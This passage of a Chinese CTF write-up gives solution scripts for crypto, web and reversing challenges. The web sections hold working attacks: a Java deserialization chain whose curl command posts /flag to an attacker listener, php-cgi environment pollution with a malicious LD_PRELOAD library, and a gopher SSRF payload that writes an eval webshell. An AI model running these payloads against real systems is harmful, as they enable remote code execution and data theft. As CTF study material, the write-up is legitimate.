if check_diff(diffmap, diffsum):
if verbose > 2:
if diffsum == 5:
print("FI: good candidate for round31!")
if diffsum == 9 or diffsum == 8:
print("FI: good candidate for round30!")
if diffsum == 13 or diffsum == 12:
print("FI: good candidate for round29!")
if diffsum == 5:
status = FaultStatus.round31Fault
if diffsum == 9 or diffsum == 8:
status = FaultStatus.round30Fault
if diffsum == 12 or diffsum == 13:
status = FaultStatus.round29Fault
# big endian int, transform the index
return (status, (3 - diffmap[diffsum - 1] % 4))
else:
if verbose > 2:
print("FI: wrong candidate  (%2i)" % diffsum)
return (FaultStatus.WrongFault, None)
elif diffsum < 5:
if verbose > 2:
print("FI: too few impact  (%2i)" % diffsum)
return (FaultStatus.MinorFault, None)
else:
if verbose > 2:
print("FI: too much impact (%2i)" % diffsum)
return (FaultStatus.MajorFault, None)



def get_candidates(faultCipher, ref, index, verbose=1):
"""
Get the key candidates
return the set of possible key bytes at this index
"""
# static variable: differential distribution table in SM4
if not hasattr(get_candidates, '_IN_TABLE'):
get_candidates._IN_TABLE = gen_IN_table()

faultCipher = bytes2int(faultCipher)
ref = bytes2int(ref)
ref_slice = getSlices(ref)
fault_slice = getSlices(faultCipher)
delta_C = xor(ref_slice, fault_slice)[3]
delta_B = l_inv(delta_C)
A = ref_slice[0] ^ ref_slice[1] ^ ref_slice[2]
A_star = fault_slice[0] ^ fault_slice[1] ^ fault_slice[2]
alpha = singleState(A ^ A_star, index)
beta = singleState(delta_B, index)
result = get_candidates._IN_TABLE[alpha][beta]
if result:
result = [singleState(A, index) ^ x for x in result]
else:
result = []
print("Error: empty key candidate!")
return result
```

```
def crack_bytes(roundFaultList, ref,  verbose=1):
candidates = [[], [], [], []]
key = [None] * 4
_, index = check(ref, init=True)
for faultCipher in roundFaultList:
_, index = check(faultCipher)
if index is not None:
if key[index] is not None:
continue
else:
if verbose > 2:
print("bad fault cipher:")
dump_byte(faultCipher)
continue
if verbose > 1:
print("key index at %d" % (index))
c = get_candidates(faultCipher, ref, index,  verbose)

if not candidates[index]:
# initial candidate state
candidates[index] = c
else:
candidates[index] = intersect(candidates[index], c)
# get the exact key
if (len(candidates[index]) == 1):
key[index] = candidates[index][0]
if verbose > 1:
print("Round key bytes recovered:")
print(''.join(["%02X" % x if x is not None else ".." for x in key]))

# check whether all key bytes have been recovered
for byte in key:
if(byte is None):
print("Only partly recovered:")
print(''.join(["%02X" % x if x is not None else ".." for x in key]))
return None
return get_uint32_le(key)



def foo():
masterKey = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
in_put = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
# last_round_key = [k31, k30, k29, k28]
#last_round_key = [0x9124a012, 0x01cf72e5 ,0x62293496, 0x428d3654]

sk = set_key(masterKey, SM4_ENCRYPT)
#print("fault output:")
r31 = [gen_fault_cipher(in_put, sk, 30) for i in range(30)]
r30 = [gen_fault_cipher(in_put, sk, 30) for i in range(30)]
r29 = [gen_fault_cipher(in_put, sk, 29) for i in range(30)]
r28 = [gen_fault_cipher(in_put, sk, 28) for i in range(30)]
last_round_key = []
key_schedule = []
last_round_key.append(crack_round(r31, ref))
```

```
last_round_key.append(crack_round(r30, ref, last_round_key))
last_round_key.append(crack_round(r29, ref, last_round_key))
last_round_key.append(crack_round(r28, ref, last_round_key))
key_schedule = recovery_key(last_round_key)
MK = get_masterKey(key_schedule)
print("Master Key found:")
dump_byte(MK)



def bar():
io = remote('39.101.134.52', 8006)

def passpow(postfix, res):
for answer in itertools.product(string.ascii_letters+string.digits, repeat=3):
answer = ''.join(answer).encode()
hashresult = hashlib.sha256(answer+postfix).hexdigest().encode()
if hashresult == res:
return answer

io.recvuntil("+")
postfix = io.recvuntil(")")[:-1]
io.recvuntil('== ')
res = io.recvuntil('\n')[:-1]
print(postfix, res)
answer = passpow(postfix, res)
print(answer)
io.sendlineafter(":", answer)
io.sendlineafter(":", "icqaf0ecae2322e454ba574617e58ef7")
io.recvuntil('your flag is\n')
cflag = io.recvuntil('\n')[:-1]
print(cflag)
in_put = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'

r31 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 31, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r31.append(io.recvuntil('\n')[:-1].unhex()[:16])

r30 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 31, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r30.append(io.recvuntil('\n')[:-1].unhex()[:16])

r29 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 30, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
```

```
io.recvuntil(":")
r29.append(io.recvuntil('\n')[:-1].unhex()[:16])

r28 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 29, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r28.append(io.recvuntil('\n')[:-1].unhex()[:16])

io.sendlineafter("> ", '1')
io.sendlineafter(":", in_put.hex())
io.recvuntil(":")
ref = io.recvuntil('\n')[:-1].unhex()[:16]

last_round_key = []
key_schedule = []
last_round_key.append(crack_round(r31, ref, verbose=3))
last_round_key.append(crack_round(r30, ref, last_round_key, verbose=3))
last_round_key.append(crack_round(r29, ref, last_round_key, verbose=3))
last_round_key.append(crack_round(r28, ref, last_round_key, verbose=3))
key_schedule = recovery_key(last_round_key)
MK = get_masterKey(key_schedule)
print("Master Key found:")
print(MK.hex())
print(cflag)
# dump_byte(MK)

io.interactive()



bar()

# foo()
```

modestudy

套娃题 都是基本的block cipher攻击方式

```
from zio import *
import string
import random
import hashlib
import time



def passpow(io, difficulty):
    io.read_until("[+] sha256(")
    prefix = io.read_until("+")[:-1]
    while 1:
```

```
        answer = ''.join(random.choice(string.ascii_letters + string.digits) for
i in range(8))
        hashresult = hashlib.sha256(prefix+answer).digest()
        bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
        if bits.startswith('0'*difficulty):
            io.read_until("=")
            io.writeline(answer)
            return



ip = '106.14.66.172'
target = (ip, 7777)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
passpow(io, 5)
io.read_until("=")
io.writeline('icqaf0ecae2322e454ba574617e58ef7')

# challenge 1
io.read_until("your choice:")
io.writeline("1")
io.read_until("cookie:")
prefix = io.read_until("admin=0")
checksum = io.read_until('\n').strip().split('=')[1]
checksum = checksum[:30] + hex(int(checksum[30:32], 16) ^ 1)[2:] + checksum[32:]
io.writeline(prefix+";checksum="+checksum)

# challenge 2
io.read_until("your choice:")
io.writeline("2")
io.read_until("your choice:")
io.writeline("2")
io.writeline('413fb6edfd833cac1e78a1811fc3db10')

# challenge 3
io.read_until("your choice:")
io.writeline("3")
io.read_until("(cookie):")
checksum = io.read_until("\n").strip()
checksum = checksum[:64] + checksum[128:160] + checksum[96:]
io.writeline(checksum)

# challenge 4
io.read_until("your choice:")
io.writeline("4")
io.read_until("your choice:")
io.writeline("2")
io.writeline('405966114e5aae131bf7685b8f291043')
# secret = '405966114e5aae131bf7685b8f291043'
# while len(secret) < 32:
#     io.read_until("your choice:")
#     io.writeline("1")
#     io.read_until("(encode hex):")
#     base = "00"*(15-len(secret)//2)
#     io.writeline(base)
#     io.read_until("encrypted msg: ")
#     cipher = io.read_until('\n').strip()
```

```
#     standard = cipher[:32]
#     for i in range(256):
#         io.read_until("your choice:")
#         io.writeline("1")
#         io.read_until("(encode hex):")
#         io.writeline(base+secret+hex(i)[2:].zfill(2))
#         io.read_until("encrypted msg: ")
#         cipher = io.read_until('\n').strip()
#         if cipher[:32] == standard:
#             secret += hex(i)[2:].zfill(2)
#             break
#     print(secret)

# challenge 5
io.read_until("your choice:")
io.writeline("5")
io.read_until("your choice:")
io.writeline("2")
io.writeline("dbd677b7292c9736b91b2b0a650a166b")
# io.read_until("your choice:")
# io.writeline("1")
# res = ''
# cipher0 = '7a2223cd4c2bd5ad5723c8a8129898f2'
# for i in range(256):
#     for j in range(256):
#         res += hex(i)[2:].zfill(2)+hex(j)[2:].zfill(2)
# io.writeline(res)
# io.read_until("encode(\"hex\"):")
# cipher = io.read_until('\n').strip()
# print(len(cipher))
# lut = {}
# for i in range(0, len(cipher), 4):
#     lut[cipher[i:i+4]] = res[i:i+4]
# secret = ''
# for i in range(0, len(cipher0), 4):
#     secret += lut[cipher0[i:i+4]]
# print(secret)

# challenge 6
io.read_until("your choice:")
io.writeline("6")
io.read_until("your choice:")
io.writeline("2")
io.writeline("f30314b95d89057dc9bd2116cf27dc0f")
# success = []
# for idx in range(1, 17):
#     for i in range(256):
#         io.writeline("1")
#         iv = '31' * (16-idx) + hex(i)[2:].zfill(2) + ''.join([hex(elem ^ idx)
[2:].zfill(2) for elem in success][-(idx-1):])
#         cipher = '9343c9e1c03e51580d799e8f416e3eac'
#         io.writeline(iv+cipher)
#         res = io.read_until("your choice:")
#         if not 'error' in res:
#             success = [i ^ idx] + success
#             print(success)
#             break
# print(success)
```

```
# print(''.join([hex(elem)[2:].zfill(2) for elem in success]))



io.interact()
```

Web

easy_java

没有过滤java.rmi.server.RemoteObject，UnicastRef没有被序列化，可以直接jrmp。

```
ysoserial JRMPClient vps:8012>exploit.txt
import requests
url = "http://39.101.166.142:8080/jdk_der"
with open ("exploit.txt", "rb") as f:
    data = f.read()
requests.post(url, data=data)
java -cp ysoserial-JRMPServer-0.0.1-all.jar ysoserial.exploit.JRMPListener 8012
CommonsCollections7 'curl http:///vps:8013/ -d @/flag'
nc -lvvp 8013
```

babewp

http://39.99.249.211，to be lowkey

用.php结尾handler会丢给php-cgi，然后存在环境变量污染，只需get请求参数即可。指定SCRIPT_FILENAME 为environ获取临时tmp文件名，再利用ld_preload 加载恶意so，或者SCRIPT_FILENAME执行任意php

```
import requests
from urllib.parse import quote
from base64 import b64encode
from pwn import *
#context.log_level = 'debug'
def upload_shell():
```

```
    burp0_url = "http://39.99.249.211:80/a.php?
SCRIPT_FILENAME=/proc/self/environ&LD_PRELOAD=/etc/passwd"
    files = {'file': open('bypass_disablefunc_x64.so', 'rb')}
    a=requests.post(burp0_url, files=files)
#print(a.text)
    shell_dir = a.text.split('FILE_FILENAME_FILE=')[1].split('FILE_SIZE_FILE')
[0].replace('\x00','')
    print(shell_dir)
    return shell_dir
import os
def excute_cmd(cmd, shell_dir):
    body = '''GET /c.php?
SCRIPT_FILENAME=/etc/passwd&LD_PRELOAD='''+shell_dir+'''&EVIL_CMDLINE='''+quote(
cmd)+''' HTTP/1.1
Host: 39.99.249.211
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

'''
    body = body.replace("\n","\r\n")
    print(body)
    p = remote('39.99.249.211',80)
    p.send(body)
    print(p.recvuntil('root:x:0:').decode("utf-8").replace('HTTP/1.1 200
OK',''))
#get shell_dir
#upload_shell()
shell_dir = '/tmp/httpd-19-36420-1.tmp'
excute_cmd("ls -al /",shell_dir)
```

拿到shell权限是nobody，看到socat启了一个ctf

```
➜  ~ curl http://39.99.249.211:80/index.php\?SCRIPT_FILENAME\=/tmp/ctf\&LD_PRELOAD\=/tmp/httpd-19-36420-1.tmp\&EVIL_CMDLINE\=ps%20aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   3976  2904 pts/0    Ss   00:54   0:00 /bin/bash /init
root          10  0.1  0.5  28224 19440 ?        Ss   00:54   1:05 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisor/supervisord.conf
root          16  0.0  0.0   4108  3516 pts/0    S+   00:54   0:00 /bin/bash
ctf           18  0.0  0.0   2608   592 ?        S    00:54   0:00 /bin/sh /home/ctf/ctf.sh
nobody        19  1.9  0.5 332372 19964 ?        Sl   00:54  17:05 /usr/local/httpd/httpd --config /usr/local/httpd/httpd.conf --log stdout:5
root          20 98.7  0.2  13500  9812 ?        R    00:54 850:41 /usr/bin/python3 /root/logdate.py
ctf           22  0.0  0.0   6964  1836 ?        S    00:54   0:00 /usr/bin/socat unix-listen:/tmp/ctf,fork exec:./ctf,reuseaddr
nobody     30702  0.0  0.0      0     0 ?        Z    01:23   0:00 [php-cgi] <defunct>
root       84576  0.0  0.0   4236  3556 pts/1    Ss+  04:46   0:00 /bin/bash
```

可以使用unix sock进行通信

```
$ socat unix-client:/tmp/ctf -
There are N different CTF challenges. You need to do L
    1. Do each question at least once;
    2. After you finish one challenge, you need to do a
So how many combinations of questions do you have?
Demo:
    Input: N = 3, L = 4, K = 2
    Output: 6
    List: [1, 2, 3, 1], [1, 3, 2, 1], [2, 1, 3, 2], [2,
N=971069, L=972635, K=899835, Please give me the answer
A
Your Anwser: 505958344
Right Anwser: 438482961
Time out!
$
```

一个算法题，而且有回答时间限制

发现在较短时间内，启用两次通讯得到的题目一样

```
emo:
   Input: N = 3, L = 4, K = 2
   Output: 6
   List: [1, 2, 3, 1], [1, 3, 2, 1], [2, 1, 3, 2], [2, 3, 1, 2], [3, 1, 2, 3], [3, 2, 1,
=942276, L=954953, K=378920, Please give me the answer % 10^9+7.
```

nc (ssh)

```
   List: [1, 2, 3, 1], [1, 3, 2, 1], [2, 1, 3, 2], [2, 3, 1, 2], [3, 1, 2, 3], [3, 2, 1,
=941045, L=944642, K=129203, Please give me the answer % 10^9+7.
2
3
our Anwser: 2
ight Anwser: 888934963
ime out!
4
 5
h: 170: 5: not found
 socat unix-client:/tmp/ctf -
here are N different CTF challenges. You need to do L challenges according to the follow
   1. Do each question at least once;
   2. After you finish one challenge, you need to do at least K other challenges before
o how many combinations of questions do you have?
emo:
   Input: N = 3, L = 4, K = 2
   Output: 6
   List: [1, 2, 3, 1], [1, 3, 2, 1], [2, 1, 3, 2], [2, 3, 1, 2], [3, 1, 2, 3], [3, 2, 1,
=942276, L=954953, K=378920, Please give me the answer % 10^9+7.
```

所以可以利用A B两次通讯，A里面随便输入个answer，等待返回correct answer，然后再发送给B。

在时间限制内答对就可拿到flag，可以写个脚本操作。

```php
<?php
    $sock1 = stream_socket_client('unix:///tmp/ctf', $errno, $errst);
    $resp = fread($sock1, 4096);
    fwrite($sock1, '1\n');
    $resp = fread($sock1, 4096);
    $ans = explode(" ", $resp)[4];
```

```
    var_dump($ans);
    $sock2 = stream_socket_client('unix:///tmp/ctf', $errno, $errst);
    $resp = fread($sock2, 4096);
    echo $resp;
    fwrite($sock2, $ans);
    $resp = fread($sock2, 4096);
    echo $resp;
    $resp = fread($sock2, 4096);
    echo $resp;
    $resp = fread($sock2, 4096);
    echo $resp;
    fclose($sock1);
    fclose($sock2);
?>
```

half_infiltration

```
<?php
highlight_file(__FILE__);
$flag=file_get_contents('ssrf.php');
class Pass
{
    function read()
    {
        ob_start();
        global $result;
        print $result;
    }
}
class User
{
    public $age,$sex,$num;
    function __destruct()
    {
        $student = $this->age;
        $boy = $this->sex;
        $a = $this->num;
    $student->$boy();
    if(!(is_string($a)) |||(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}
if (isset($_GET['x'])) {
    unserialize($_GET['x'])->get_it();
}
```

```
<?php
class Pass {}
class User
```

```php
{
    public $age;
    public $sex;
    public $num;
    function __construct($age, $sex, $num) {
        $this->age = $age;
        $this->sex = $sex;
        $this->num = $num;
    }
}
$data = new User(new Pass(), "read", "result");
$data2 = new User(new Pass(), "read", "this");
$payload = array($data, $data2, "AAAA");
$aaa = serialize($payload);
echo $aaa;
```

http://39.98.131.124/?x=a:3:{i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:6:"result";}i:1;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:4:"this";}i:2;s:4:"AAAA";}

```php
#0000BB >get_it</span><span style= color: #007700 >();<br />} <br /><br /></span>
</span>
</code><?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
    if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
        die("");
    }

    if($url)
    {

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch);

     }

?>
```

写shell：

```
http://39.98.131.124/ssrf.php?
we_have_done_ssrf_here_could_you_help_to_continue_it=gopher%3A%2F%2F172.26.98.14
7%3A40000%2F_%250D%250APOST%2520%2Findex.php%2520HTTP%2F1.1%250D%250AHost%253A%2
520172.26.98.147%253A40000%250D%250AContent-Length%253A%252098%250D%250ACache-
Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-
Requests%253A%25201%250D%250AOrigin%253A%2520http%253A%2F%2F39.98.131.124%250D%2
50AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AUser-
Agent%253A%2520Mozilla%2F5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%25
20X%252010_15_5%2529%2520AppleWebKit%2F537.36%2520%2528KHTML%252C%2520like%2520G
ecko%2529%2520Chrome%2F84.0.4147.135%2520Safari%2F537.36%250D%250AAccept%253A%25
20text%2Fhtml%252Capplication%2Fxhtml%252Bxml%252Capplication%2Fxml%253Bq%253D0.
9%252Cimage%2Fwebp%252Cimage%2Fapng%252C%252A%2F%252A%253Bq%253D0.8%252Capplicat
ion%2Fsigned-
exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A%2F%2F39.
98.131.124%2Fssrf.php%253Fwe_have_done_ssrf_here_could_you_help_to_continue_it%2
53Dhttp%253A%2F%2F172.26.98.147%253A40000%2F%250D%250AAccept-
Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-
CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250ACookie%253A%
2520PHPSESSID%253Dvenenof7nu1l%250D%250A%250D%250Afile%253Dphp%253A%2F%2Ffilter%
2Fconvert.base64-
decode%2Fresource%25253dveneno.php%2526content%253DPD89ZXZhbCgkX0dFVFthXSk7Pz4%2
50D%250A
```

dice2cry

http://106.14.66.189/

abi.php.bak拿到源码 需要post ”this_is.able“ 然后就是简单的lsb_oracle了

https://bugs.php.net/bug.php?id=78236

```
import requests
from Crypto.Util.number import long_to_bytes
cookies = {"encrypto_flag":
"4546593284002117386634437404315529363646392866484411505081746689996849379636592
1295067670619434825035098517755325862671740457915131505619743471607788576522529 2
5540596371657471634006899185991639912610435087513463328142784887544552106548677 3
0000314354757306379626212472901020641061181770426086711288154405309 46",
           "PHPSESSID": "ekvrifngfb1s8c79823kllfaau", "public_n":
"8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0
da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9
075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d
8aaf855e0807a1157", "public_e": "010001"}

n =
0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d
0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e
9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7
d8aaf855e0807a1157
e = 0x10001
c =
4546593284002117386634437404315529363646392866484411505081746689996849379636592 1
2950676706194348250350985177553258626717404579151315056197434716077885765225292 5
5405963716574716340068991859916399126104350875134633281427848875445521065486773 0
0003143547573063796262124729010206410611817704260867112881544053094 6
```

```
def oracle(c):
    global last
    m = requests.post("http://106.14.66.189/abi.php", data={'this[is.able': c},
cookies=cookies).json()['num']
    return m
L, H, R = 0, 1, 1
s = 1
while True:
    s = s * pow(3, e, n) % n
    m = oracle(s * c % n)
    L, H, R = 3 * L, 3 * H, 3 * R
    if m == 0:
        H -= 2
    elif m == (-n % 3):
        L += 1
        H -= 1
    else:
        L += 2
    if (n * H // R) - (n * L // R) < 2:
        break
print(n * L // R)
print(n * H // R)
print(long_to_bytes(n * L // R))
print(long_to_bytes(n * H // R))
```

Re

aaenc

```
def getr(m,a,b,s,c):
    try:
        assert(len(s))==32
        mt=int(m,16)
        at=int(a,16)
        bt=int(b,16)
        st=int(s,16)
        for _ in range(int(c)):
            st=(at*st+bt)%mt
        return hex(st>>64)[2:].zfill(16)
    except Exception as e:
        return "0"*16
```

```
console:setTitle("aaenc")
local flag = console:getText("Input flag:")
local seed = console:getText("Input key:")
if string:len(seed) ~= 32 then
  console:log("wrong key length")
else
  console:log("aaenc your flag: " .. flag .. " with key: " .. seed .. " ......")
  local pyCode = "def getr(m,a,b,s,c):\r\n    try:\r\n
assert(len(s))==32\r\n        mt=int(m,16)\r\n        at=int(a,16)\r\n
bt=int(b,16)\r\n        st=int(s,16)\r\n        for _ in range(int(c)):\r\n
      st=(at*st+bt)%mt\r\n        return hex(st>>64)[2:].zfill(16)\r\n    except
Exception as e:\r\n        return \"0\"*16\r\n\t"
```

```
  local m = "e542d091540eae43c96d0ae3f4a10d81"
  local a = "ccec1dce142a4582d9af626863c6ee7d"
  local b = "89d6db1518eb7f00093ae5f419523b8c"
  py:exec(pyCode)
  local writelog = ""
  local i = py
  for i = 1, 20 do
    writelog = writelog .. crypt.bin:decodeHex(tostring(nil, py.main:getr(m, a,
b, seed, i)))
  end
  string:save("log", writelog)
  local aesiv = crypt.bin:decodeHex(tostring(writelog, py.main:getr(m, a, b,
seed, 21)) + tostring(py.main:getr(m, a, b, seed, 22)))
  local aeskey = crypt.bin:decodeHex(tostring(py.main:getr(m, a, b, seed, 23)) +
tostring(py.main:getr(m, a, b, seed, 24)))
  local aes = crypt:aes()
  aes:setPassword(aeskey)
  aes:setInitVector(aesiv)
  local cipher = aes:encrypt(flag)
  local output = crypt.bin:encodeBase64(cipher)
  console:log(output)
  string:save("output", output)
end
console:pause()
```

LLL恢复LCG的seed，然后aes解密即可

```
from Crypto.Cipher import AES
import base64
from binascii import unhexlify

b=183219830469466877760231168067257908108
a=272388497715857844567506303786466864765
m=304740132882704646362913693640465386881

def getr(mt, at, bt, st, c):
    try:
        for _ in range(int(c)):
            st = (at*st+bt) % mt
        return hex(st >> 64)[2:].zfill(16)
    except Exception as e:
        print(e)
        return "0"*16

h = [0, 0x9CE1BC6E7E93BC03, 0x47489FE35F5C92F1, 0x4B536E19E9F21A3B,
0x42C7F93A6950BE21, 0xB238E656108693B2, 0x5F30DC294E45A73C, 0x27CCDC683B5BAD86,
0x090D7235588C386E, 0x9764EBE232521ADF, 0x522A24F6FC7F08BC, 0xB8E85141140B6DC3,
0x824E8FFBB1522F25, 0x051B2D968B1E7843, 0x30C5EB488D4F9748, 0x13094502337FB6B6,
0x5319E03ABF8B0F54, 0xCFE90AA76014CE36, 0x29FAC4CCCE737DC6, 0x1FB257EBF0DAA9EC,
0x9D5BF2FC7BEB9BCD]
for i in range(len(h)):
    h[i] <<= 64
A = [1]
B = [0]
for i in range(1, len(h)-1):
    A.append(a*A[i-1] % m)
    B.append((a*B[i-1]+a*h[i]+b-h[i+1]) % m)
```

```
A = A[1:]
B = B[1:]



M = matrix(ZZ, 21, 21)

for i in range(19):
    M[i, i] = m
    M[19, i] = A[i]
    M[20, i] = B[i]
    M[i, 19] = M[i, 20] = 0
M[19, 19] =  1
M[20, 20] = 2^64
M[19, 20]= 0



#print(B)
vl = M.LLL()[0]
l1 = vl[-2]
h1 = h[1]
s1 = l1+h1
#s1 = a*seed+b %m
seed = ((s1 - b)*inverse_mod(a,m))%m
print(seed)

IV = unhexlify(getr(m, a, b, seed, 21) + getr(m, a, b, seed, 22))
key = unhexlify(getr(m, a, b, seed, 23) + getr(m, a, b, seed, 24))
mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)
print(aes.decrypt(base64.b64decode('d34RauTjHiahhP/4pyNvh1g7s1gAs4dMzyDVBAOYBZvN
2cWVYqvOpCv2iyKSurHO')))
```

flower

首先修复混淆，然后从后往前逆推

```
73  curbuf = buf;
74  *(_DWORD *)ctx = 0x44332211;
75  while ( blockI != 16 )
76  {
77    v20 = 8 * blockI;
78    for ( k = 0; k != 8; ++k )
79      ctx[k] ^= curbuf[k];
80    for ( l = 0; l != 8; ++l )
81      ctx[l] ^= iv[l];
82    for ( m = 0; m != roundNum; ++m )
83    {
84      v24 = ctx[7];
85      v25 = 0;
86      v23 = ctx[7];
87      while ( v25 + 6 >= 0 )
88      {
89        v4 = &ctx[v25--];
90        v27 = v4[6];
91        v4[7] = (v23 & 0xF0) + (v27 & 0xF);
92        v23 = v27;
93      }
94      v28 = 0;
95      v29 = ctx[0] & 0xF0;
96      ctx[0] = (v24 & 0xF) + (ctx[0] & 0xF0);
97      while ( v28 != 7 )
98      {
99        ctx[v28] = (ctx[v28] & 0xF) + (ctx[v28 + 1] & 0xF0);
100       ++v28;
101     }
102     ctx[7] = ctx[7] & 0xF | v29;
103   }
104   v30 = *(_DWORD *)&ctx[4];
105   curbuf += 8;
106   *(_DWORD *)&buf[8 * blockI++] = *(_DWORD *)ctx;
107   *(_DWORD *)&buf[v20 + 4] = v30;
108 }
109 qmemcpy(corr_, &corr, sizeof(corr_));
110 for ( n = 0; n != 128; ++n )
111 {
```

可以注意到操作对于z3来说很简单，但是轮数不确定，轮数由输入的crc决定，所以无法简单求出。

所以我们直接爆破轮数，求出轮数为20或28后，验证得知20为正确的轮数，即可直接z3求出flag

```
from z3 import *
corr =
'A8AF569888EF4006FDAEE99EB9EAAD52CCAB04CAECEB125499AABBCCDDEEFF00A8AF569888EF400
6FDAEE99EB9EAAD52CBAA19E5ECEB125EA0A6A8F38BD6CD6FCBC04FC1E0DA740091BEC683D0A68D2
EBEFC3FAD9BE02652F5BA94D1B4A2DF7CDAF86DFFFFE4740091BEC683D0A68D2EBEFC3FAD9BE0265
2F5BA94D1B4A2DF7C'.decode('hex')
corr = [c ^ 0x88 for c in map(ord, corr)]

def doRound(ctx, round):
    for m in range(round):
        v25 = 0
        v24 = v23 = ctx[7]
        while True:
            if v25 + 6 < 0:
                break
            v27 = ctx[6 + v25]
            ctx[7+v25] = (v23 & 0xf0) + (v27 & 0xf)
            v23 = v27
```

```
            v25 -= 1
        v29 = ctx[0] & 0xF0
        ctx[0] = (v24 & 0xf) + (ctx[0] & 0xf0)
        for v28 in range(7):
            ctx[v28] = (ctx[v28] & 0xF) + (ctx[v28 + 1] & 0xF0)
        ctx[7] = (ctx[7] & 0xF) | v29

def solveRound(off, ctx, round, corr):
    s = Solver()
    doRound(ctx, round)
    for j in range(8):
        s.add(ctx[j] == corr[j])
        s.add(x[j] >= 0x20)
        s.add(x[j] <= 0x7d)
    while s.check() == sat:
        print(off, ''.join([chr(int(str(s.model()[c]))) for c in x]))
        s.add(*[s.model()[c] != c for c in x])

def doBrute():
    ctx = map(ord, '1122334455667788'.decode('hex'))
    iv = map(ord, '77239DAC1327CFFE'.decode('hex'))
    x = [BitVec('x%d' % c, 8) for c in range(8)]
    i1 = [x[i] ^ ctx[i] for i in range(8)]
    i2 = [i1[i] ^ iv[i] for i in range(8)]

    for i in range(16,33):
        ctx = list(i2)
        solveRound(ctx, i, corr[0:8])
ctx = map(ord, '1122334455667788'.decode('hex'))
iv = map(ord, '77239DAC1327CFFE'.decode('hex'))
x = [BitVec('x%d' % c, 8) for c in range(8)]
for off in range(16):
    i1 = [x[i] ^ ctx[i] for i in range(8)]
    i2 = [i1[i] ^ iv[i] for i in range(8)]
    solveRound(off, i2, 20, corr[off*8:off*8+8])
    ctx = corr[off*8:off*8+8]
```

safe_m2m

Script1:

```
from Crypto.Cipher import ARC4
from pysm4 import encrypt, decrypt
from Crypto.Util.number import bytes_to_long, long_to_bytes
from binascii import unhexlify, hexlify

# ---- Public functions ----

# Computes the encryption of the given block (8-element bytelist) with
# the given key (16-element bytelist), returning a new 8-element bytelist.
def ideaencrypt(block, key, printdebug=False):
    return _crypt(block, key, "encrypt", printdebug)


# Computes the decryption of the given block (8-element bytelist) with
# the given key (16-element bytelist), returning a new 8-element bytelist.
```

```
def ideadecrypt(block, key, printdebug=False):
    return _crypt(block, key, "decrypt", printdebug)


# ---- Private cipher functions ----

def _crypt(block, key, direction, printdebug):

    # Compute and handle the key schedule
    keyschedule = _expand_key_schedule(key)
    if direction == "decrypt":
        keyschedule = _invert_key_schedule(keyschedule)

    # Pack block bytes into variables as uint16 in big endian
    w = block[0] << 8 | block[1]
    x = block[2] << 8 | block[3]
    y = block[4] << 8 | block[5]
    z = block[6] << 8 | block[7]

    # Perform 8 rounds of encryption/decryption
    for i in range(_NUM_ROUNDS):
        j = i * 6
        w = _multiply(w, keyschedule[j + 0])
